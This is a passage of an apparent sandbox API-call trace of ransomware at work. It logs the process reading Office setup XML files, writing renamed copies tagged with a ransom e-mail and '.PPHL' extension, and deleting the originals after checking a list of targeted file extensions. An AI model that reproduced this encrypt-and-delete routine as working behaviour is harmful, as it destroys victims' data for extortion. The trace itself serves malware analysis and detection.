Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString=".dbf") returned 4 [0071.054] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString=".1cd") returned 4 [0071.054] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0071.054] lstrlenW (lpString=".jpg") returned 4 [0071.054] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.054] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.054] lstrlenW (lpString="Office32MUI.XML") returned 15 [0071.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0071.083] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1383) returned 1 [0071.083] CloseHandle (hObject=0x1f0) returned 1 [0071.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0071.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0071.083] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.083] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0071.207] GetLastError () returned 0x0 [0071.207] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x567, lpOverlapped=0x0) returned 1 [0071.324] WriteFile (in: hFile=0x1b0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0071.325] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.325] WriteFile (in: hFile=0x1b0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0071.325] SetEndOfFile (hFile=0x1b0) returned 1 [0071.326] CloseHandle (hObject=0x1b0) returned 1 [0071.327] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.327] SetEndOfFile (hFile=0x1f0) returned 1 [0071.328] CloseHandle (hObject=0x1f0) returned 1 [0071.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0071.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.328] lstrlenW (lpString=".doc") returned 4 [0071.328] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.330] lstrlenW (lpString=".docx") returned 5 [0071.330] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.330] lstrlenW (lpString=".pdf") returned 4 [0071.330] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString=".xls") returned 4 [0071.334] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString=".xlsx") returned 5 [0071.334] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.334] lstrlenW (lpString=".ppt") returned 4 [0071.334] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.334] lstrlenW (lpString=".zip") returned 4 [0071.334] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.334] lstrlenW (lpString=".rar") returned 4 [0071.334] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString=".bz2") returned 4 [0071.334] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString=".7z") returned 3 [0071.334] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.334] lstrlenW (lpString=".dbf") returned 4 [0071.334] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.335] lstrlenW (lpString=".1cd") returned 4 [0071.335] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.335] lstrlenW (lpString=".jpg") returned 4 [0071.335] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.335] lstrlenW (lpString=".doc") returned 4 [0071.335] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.335] lstrlenW (lpString=".docx") returned 5 [0071.335] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0071.335] lstrlenW (lpString=".pdf") returned 4 [0071.335] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.335] lstrlenW (lpString=".xls") returned 4 [0071.335] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.335] lstrlenW (lpString=".xlsx") returned 5 [0071.335] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0071.335] lstrlenW (lpString=".ppt") returned 4 [0071.335] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.336] lstrlenW (lpString=".zip") returned 4 [0071.336] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.336] lstrlenW (lpString=".rar") returned 4 [0071.336] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.336] lstrlenW (lpString=".bz2") returned 4 [0071.336] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.336] lstrlenW (lpString=".7z") returned 3 [0071.336] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.336] lstrlenW (lpString=".dbf") returned 4 [0071.336] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.336] lstrlenW (lpString=".1cd") returned 4 [0071.336] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0071.336] lstrlenW (lpString=".jpg") returned 4 [0071.336] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.336] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.337] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0071.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0071.337] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=3186) returned 1 [0071.337] CloseHandle (hObject=0x1f0) returned 1 [0071.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0071.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0071.338] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.338] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.098] GetLastError () returned 0x0 [0073.099] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xc72, lpOverlapped=0x0) returned 1 [0073.211] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0073.212] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.212] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0073.212] SetEndOfFile (hFile=0x1f4) returned 1 [0073.212] CloseHandle (hObject=0x1f4) returned 1 [0073.213] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.213] SetEndOfFile (hFile=0x1f0) returned 1 [0073.213] CloseHandle (hObject=0x1f0) returned 1 [0073.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.214] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0073.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.214] lstrlenW (lpString=".doc") returned 4 [0073.214] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString=".docx") returned 5 [0073.214] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.214] lstrlenW (lpString=".pdf") returned 4 [0073.214] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString=".xls") returned 4 [0073.214] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString=".xlsx") returned 5 [0073.214] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.214] lstrlenW (lpString=".ppt") returned 4 [0073.214] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.214] lstrlenW (lpString=".zip") returned 4 [0073.214] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.214] lstrlenW (lpString=".rar") returned 4 [0073.214] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString=".bz2") returned 4 [0073.214] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.214] lstrlenW (lpString=".7z") returned 3 [0073.214] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.214] lstrlenW (lpString=".dbf") returned 4 [0073.215] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.215] lstrlenW (lpString=".1cd") returned 4 [0073.215] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.215] lstrlenW (lpString=".jpg") returned 4 [0073.215] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.215] lstrlenW (lpString=".doc") returned 4 [0073.215] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString=".docx") returned 5 [0073.215] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.215] lstrlenW (lpString=".pdf") returned 4 [0073.215] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString=".xls") returned 4 [0073.215] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString=".xlsx") returned 5 [0073.215] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.215] lstrlenW (lpString=".ppt") returned 4 [0073.215] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.215] lstrlenW (lpString=".zip") returned 4 [0073.215] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.215] lstrlenW (lpString=".rar") returned 4 [0073.215] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString=".bz2") returned 4 [0073.215] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.215] lstrlenW (lpString=".7z") returned 3 [0073.215] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.216] lstrlenW (lpString=".dbf") returned 4 [0073.216] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.216] lstrlenW (lpString=".1cd") returned 4 [0073.216] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0073.216] lstrlenW (lpString=".jpg") returned 4 [0073.216] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.216] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.216] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0073.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.219] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=16852) returned 1 [0073.219] CloseHandle (hObject=0x1f0) returned 1 [0073.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0073.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.219] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.219] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.220] GetLastError () returned 0x0 [0073.220] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0073.261] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0073.265] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.265] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0073.265] SetEndOfFile (hFile=0x1f4) returned 1 [0073.349] CloseHandle (hObject=0x1f4) returned 1 [0073.349] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.349] SetEndOfFile (hFile=0x1f0) returned 1 [0073.350] CloseHandle (hObject=0x1f0) returned 1 [0073.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.350] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0073.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.350] lstrlenW (lpString=".doc") returned 4 [0073.350] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".docx") returned 5 [0073.351] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0073.351] lstrlenW (lpString=".pdf") returned 4 [0073.351] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".xls") returned 4 [0073.351] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".xlsx") returned 5 [0073.351] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0073.351] lstrlenW (lpString=".ppt") returned 4 [0073.351] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString=".zip") returned 4 [0073.351] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.351] lstrlenW (lpString=".rar") returned 4 [0073.351] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".bz2") returned 4 [0073.351] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".7z") returned 3 [0073.351] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString=".dbf") returned 4 [0073.351] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString=".1cd") returned 4 [0073.351] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString=".jpg") returned 4 [0073.351] lstrcmpiW 